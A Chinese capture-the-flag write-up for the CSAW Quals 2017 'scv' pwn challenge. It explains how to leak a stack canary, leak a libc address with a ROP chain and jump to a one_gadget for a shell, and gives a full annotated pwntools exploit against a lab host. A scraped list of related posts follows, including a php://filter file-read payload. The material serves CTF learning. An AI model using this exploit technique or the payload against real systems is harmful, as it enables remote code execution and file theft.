程序基本信息

   64位动态链接程序,开启了栈溢出和数据段不可执行保护

程序漏洞

   read函数很明显的栈溢出漏洞

整体思路

   由于题目给了libc,我们可以使用one_gadget获得gadget在libc中的偏移,通过泄露其他函数库的偏移计算gadget在内存中的位置。由于程序中有栈溢出保护,我们可以利用功能2,功能2的作用是puts打印我们输入的字符串,我们可以利用功能2将canary泄露出来,这样我们就可以进行栈溢出了,后面的步骤就简单了,利用rop技术即可pwn掉程序。

exp脚本

#!/usr/bin/python
#coding:utf-8 from pwn import * context.update(os = 'linux', arch = 'amd64') io = remote('172.17.0.2', 10001) pop_rdi = 0x400ea3 #pop rdi;ret
puts_plt = 0x4008d0 #puts函数plt表地址
read_got = 0x602030 #read函数got表地址
start = 0x4009a0 #start函数首地址 io.sendline('1')
io.send('A'*164+'ABCDE') #在选项1中输入168个padding字符到达canary。由于canary最后两位恒为\x00防止意外泄露,因此需要多一个字符覆盖掉\x00,使得canary可被字符串输出函数输出。
sleep(0.5)
io.sendline('2')
io.recvuntil('ABCDE')
canary = u64('\x00'+io.recv(7)) #给canary补上\x00,把被字符'B'覆盖掉的\x00恢复回来,注意是大端序。
log.info("Leak canary = %#x" %(canary)) payload = ""
payload += "A"*168 #padding
payload += p64(canary) #在canary应该在的位置上写canary
payload += "B"*8 #覆盖rbp
payload += p64(pop_rdi)
payload += p64(read_got)
payload += p64(puts_plt)
payload += p64(start) #调用puts输出read在内存中的地址,然后回到start重新开始 io.recv()
io.sendline('1')
io.send(payload)
io.recv()
io.sendline('3') #通过选项3退出循环,从而触发栈溢出,泄露read在内存中的地址
io.recvuntil('TIME TO MINE MIENRALS...\n')
read_addr = u64(io.recv()[:6]+"\x00\x00") #u64()的参数必须是长度为8的字符串,手动补齐
log.info("Leak read addr = %#x" %(read_addr))
one_gadget_addr = read_addr - 0xf8880 + 0x45526 #计算one_gadget的地址,0xf8880跟0x45526分别为read跟gadget距离libc头部的偏移 io.sendline('1')
payload = ""
payload += "A"*168
payload += p64(canary) #在canary应该在的位置上写canary
payload += "B"*8 #覆盖rbp
payload += p64(one_gadget_addr) #栈溢出触发one gadget RCE
io.send(payload)
io.recv()
io.sendline('3') #退出main程序触发栈溢出
io.recv()
io.interactive()

内容参考

Linux pwn入门教程(9)

CSAW Quals CTF 2017-scv的更多相关文章

  1. 【HITB GSEC CTF 2017】1000levels

    https://files.cnblogs.com/files/p4nda/498a3f10-8976-4733-8bdb-30d6f9d9fdad.gz #通过阅读天枢战队大佬们的wp调试的结果 首 ...

  2. 攻防世界 maze NJUPT CTF 2017

    迷宫题 1 __int64 __fastcall main(__int64 a1, char **a2, char **a3) 2 { 3 signed __int64 mid_i; // rbx 4 ...

  3. CTF必备技能丨Linux Pwn入门教程——stack canary与绕过的思路

    Linux Pwn入门教程系列分享如约而至,本套课程是作者依据i春秋Pwn入门课程中的技术分类,并结合近几年赛事中出现的题目和文章整理出一份相对完整的Linux Pwn教程. 教程仅针对i386/am ...

  4. CTF必备技能丨Linux Pwn入门教程——ShellCode

    这是一套Linux Pwn入门教程系列,作者依据i春秋Pwn入门课程中的技术分类,并结合近几年赛事中出现的一些题目和文章整理出一份相对完整的Linux Pwn教程. 课程回顾>> Linu ...

  5. Linux pwn入门教程(2)——shellcode的使用,原理与变形

    作者:Tangerine@SAINTSEC 0×00 shellcode的使用 在上一篇文章中我们学习了怎么使用栈溢出劫持程序的执行流程.为了减少难度,演示和作业题程序里都带有很明显的后门.然而在现实 ...

  6. 如何开始你的CTF比赛之旅-网站安全-

    在过去的两个星期里,我已经在DEFCON 22 CTF里检测出了两个不同的问题:“shitsco ”和“ nonameyet ”.感谢所有 的意见和评论,我遇到的最常见的问题是:“我怎么才能在CTFs ...

  7. 记一次CTF比赛过程与解题思路-MISC部分

    前言 最近好久没更新博客和公众号了,有朋友问是不是在憋大招,但我不好意思说其实是因为最近一段时间太懒了,一直在当咸鱼- 意识到很久没更新这个问题,我是想写点什么的,但好像一直当咸鱼也没啥可分享的,最近 ...

  8. Pwn with File结构体之利用 vtable 进行 ROP

    前言 本文以 0x00 CTF 2017 的 babyheap 为例介绍下通过修改 vtable 进行 rop 的操作 (:-_- 漏洞分析 首先查看一下程序开启的安全措施 18:07 haclh@u ...

  9. [CENTOS7] 加入Windows域

    This following article is a snapshot from: https://www.rootusers.com/how-to-join-centos-linux-to-an- ...

随机推荐

  1. php协议任意文件读取

    php://filter/read=convert.base64-encode/resource=index.php

  2. 文件锁 flock/fcntl

    多个进程同时操作一个文件 1. flock int flock(int fd, int operation); LOCK_SH 建立共享锁定.多个进程可同时对同一个文件作共享锁定(读锁定) LOCK_ ...

  3. 关于#error

    很简单的一个东西,但是感觉使用价值没有太大.实现了以下,结果如下: 执行到#error语句的时候直接停止编译,在下面输出设定好的错误信息. 来自为知笔记(Wiz)

  4. 修改tomcat使用的的编码方式

    默认情况下,tomcat使用的的编码方式:iso8859-1 修改tomcat下的conf/server.xml文件 找到如下代码:    < Connector port="8080 ...

  5. Android笔记(十八) 下拉列表(Spinner)

    App中常用的控件——下拉列表(Spinner),提供特定选择供用户选择 Spinner每次只能选择一个部件,它的选项来自于与之相关联的适配器(apater)中. MainActivity.java ...

  6. 运维开发笔记整理-创建django用户

    运维开发笔记整理-创建django用户 作者:尹正杰 版权声明:原创作品,谢绝转载!否则将追究法律责任. 一.创建普通用户 C:\Users\yinzhengjie\softwares\Pycharm ...

  7. Visual Studio C# 利用git和github协同开发时产生冲突的解决办

    Visual Studio C# 利用git和Github协同开发时产生冲突的解决办法 前言:在前两天的助教作业中,发现了自己没有办法解决在用vs开发C#的窗体项目的过程中产生的冲突问题,在查阅了资料 ...

  8. Bootstrap 基本模板

    <!DOCTYPE html> <html lang="zh-CN"> <head> <meta charset="utf-8& ...

  9. linux网络编程之socket编程(十二)

    今天继续学习socket编程,期待的APEC会议终于在京召开了,听说昨晚鸟巢那灯火通明,遍地礼花,有点08年奥运会的架势,有种冲动想去瞅见一下习大大的真容,"伟大的祖国,我爱你~~~&quo ...

  10. 大数据之路week07--day04 (Linux 中查看文件内容的关键字处)

    Linux如何对文件内容中的关键字进行查找   如果是用vi打开文件后,在命令行下输入“/关键字” 如果是在没有打开文件的前提就用"cat 文件名 | grep "关键字" ...